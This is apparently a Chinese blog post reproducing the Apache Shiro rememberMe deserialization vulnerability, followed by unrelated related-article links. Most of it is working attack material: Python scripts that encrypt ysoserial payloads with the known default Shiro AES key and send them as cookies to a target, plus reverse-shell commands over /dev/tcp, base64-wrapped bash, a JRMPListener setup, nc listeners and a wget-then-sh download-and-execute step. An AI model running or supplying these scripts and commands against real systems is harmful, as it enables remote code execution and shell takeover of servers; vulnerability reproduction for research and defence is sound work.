利用burp dns进行检测,脚本如下:

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
import requests # copy to clipboard def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme('http://xxx.burpcollaborator.net')
print "rememberMe={0}".format(payload.decode())
target = 'http://xxx.com'
r = requests.get(target,cookies={'rememberMe': payload.decode()},timeout=10)
print r.text

漏洞利用脚本如下:

import os
import re
import base64
import uuid
import subprocess
import requests
import sys
from Crypto.Cipher import AES def poc(url,rce_command):
if '://' not in url:
target = 'https://%s' % url if ':443' in url else 'http://%s' % url
else:
target = url
payload = generator(rce_command)
#
try: #print "rememberMe={0}".format(payload.decode())
r = requests.get(target,cookies={'rememberMe': payload.decode()},timeout=10)
print r.text
except Exception, e:
pass
# # return False def generator(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
#print(base64_ciphertext)
return base64_ciphertext if __name__ == '__main__':
url = 'http://x.x.x.x:8071'
cmd = 'x.x.x.x:443'
poc(url,cmd)

在你的vps上使用如下payload进行反弹即可

linux反弹命令
bash -i >& /dev/xxxxxx.x/ >& base64编码
bash -c {echo,xxxxxxx}|{base64,-d}|{bash,-i}
vps上执行,CommonsCollections也可以使用CommonsCollections2,CommonsCollections4
java -cp ysoserial.jar ysoserial.exploit.JRMPListener CommonsCollections1 'bash -c {echo,xxxxxxx}|{base64,-d}|{bash,-i}' 监听反弹端口
nc -lvp

有时候直接反弹是不成功的。可以先下载然后执行。

/bin/bash -i >& /dev/tcp/*.*.*.*/ >&
将反弹shell的命令写成txt然后放在web目录下 开启web
python -m SimpleHTTPServer 执行下载命令
java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener CommonsCollections1 'wget http://*.*.*.*:8080/1.txt' 执行反弹命令
java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener CommonsCollections1 'sh 1.txt' 监听反弹端口
nc -lvv

Apache Shiro漏洞复现的更多相关文章

  1. Apache log4j2-RCE 漏洞复现(CVE-2021-44228)

    Apache log4j2-RCE 漏洞复现 0x01 漏洞简介 Apache Log4j2是一个基于Java的日志记录工具.由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶 ...

  2. Apache Shiro 漏洞汇总

    Apache Shiro 漏洞汇总 以下是我个人通过收集信息收集起来的一些Apache Shiro漏洞信息,这些漏洞的poc都是公开的,利用起来也是比较简单 Apache Shiro是什么东西: Ap ...

  3. Apache解析漏洞复现(CVE-2017-15715),可以绕过黑名单

    照着P神的文章准备复现一下(总结一下经验) 环境的安装 这里面直接使用的vulhub里面的环境来进行安装的(为了方便吗) 基础环境如下    实际上Apache版本在2.4.0~2.4.29即可 i ...

  4. Apache ---- Solrl漏洞复现

    Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口.用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引:也可以通过Http Get操 ...

  5. Apache Shiro漏洞绕过waf小tips

    看了篇文章觉得不错记录下以免以后找不到,原理是通过base64解码特性导致waf不能成功解码绕过waf检测从而进行攻击 解码情况: payload php python openresty java ...

  6. Apache Shiro反序列化漏洞复现

    Apache Shiro反序列化漏洞复现 0x01 搭建环境 获取docker镜像 Docker pull medicean/vulapps:s_shiro_1 重启docker system res ...

  7. Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现

    Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现 环境搭建 docker pull medicean/vulapps:s_shiro_1 docker run -d ...

  8. Apache Shiro 反序列化漏洞复现(CVE-2016-4437)

    漏洞描述 Apache Shiro是一个Java安全框架,执行身份验证.授权.密码和会话管理.只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞. 漏洞原理 A ...

  9. Apache Shiro (Shiro-550)(cve_2016_4437)远程代码执行 - 漏洞复现

    0x00 漏洞原理 Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie.在服务端对rememberMe的cookie值, 先ba ...

随机推荐

  1. chrome调试笔记

    F12启动调试 1.右键加载按钮可以清空缓存并重新加载,有时候浏览器有缓存,代码更新不会及时反映出来. 2.performance mointer实时查看performance 点击三个竖着的小点,选 ...

  2. 每个开发者都应该知道的SOLID原则

    每个开发者都应该知道的SOLID原则 单一职责原则(SRP) 它为什么违反了 SRP? 这种设计将来会带来什么问题? 开闭原则(OCP) 如何使它(AnimalSound)符合 OCP? 里氏替换原则 ...

  3. HDFS的基础与操作

    一 HDFS概念 1.1 概念 HDFS,它是一个文件系统,全称:Hadoop Distributed File System,用于存储文件通过目录树来定位文件:其次,它是分布式的,由很多服务器联合起 ...

  4. Windows10系统python环境下安装Dlib库(转载,蔡军帅亲测可用)

    Dlib是一个很优秀的机器学习库,最近做人脸识别要用到这个库,简要记录一下配置过程,准备工作: 1.python环境 2.安装好pip(这里有个简单的安装教程) 3.Dlib包,贴一个我安装的版本,链 ...

  5. Java数组(1):数组与多维数组

    我们对数组的基本看法是,你可以创建它们,通过使用整型索引值访问它们的元素,并且他们的尺寸不能改变. 但是有时候我们需要评估,到底是使用数组还是更加灵活的工具.数组是一个简单的线性序列,这使得元素访问非 ...

  6. HP LaserJet M602 更換碳粉盒CE390XC

    HP LaserJet M602 原裝碳粉盒為 CE390A 且容量小不夠用,故更換大號的 CE390XC ,需要將 CE390XC 外面的所有橙色部件去掉(取走上面一條帶2個凸起的遮罩,左側有一個耳 ...

  7. Leetcode之动态规划(DP)专题-123. 买卖股票的最佳时机 III(Best Time to Buy and Sell Stock III)

    Leetcode之动态规划(DP)专题-123. 买卖股票的最佳时机 III(Best Time to Buy and Sell Stock III) 股票问题: 121. 买卖股票的最佳时机 122 ...

  8. go爬虫系列

    一.go语言爬取豆瓣电影top250 package main import ( "net/http" "io/ioutil" "os" & ...

  9. SQLite进阶-9.别名

    我们可以暂时给表或者列重命名为另一个名字,称为别名,重命名只是临时运行时改变,不会改变数据库中的实际的名字. -- 语法 SELECT column_name AS column_alias_name ...

  10. Magazine Delivery(POJ1695)【DP】

    题意:要求用三辆车往n座城市投递货物,起点都在一号城市,每辆车可以载任意数量的货物,投递顺序必须与城市编号递增序一致,并且,每次同时都只能有一辆车在跑路.求最短总路径之和. 思路:每时每刻,能够充分决 ...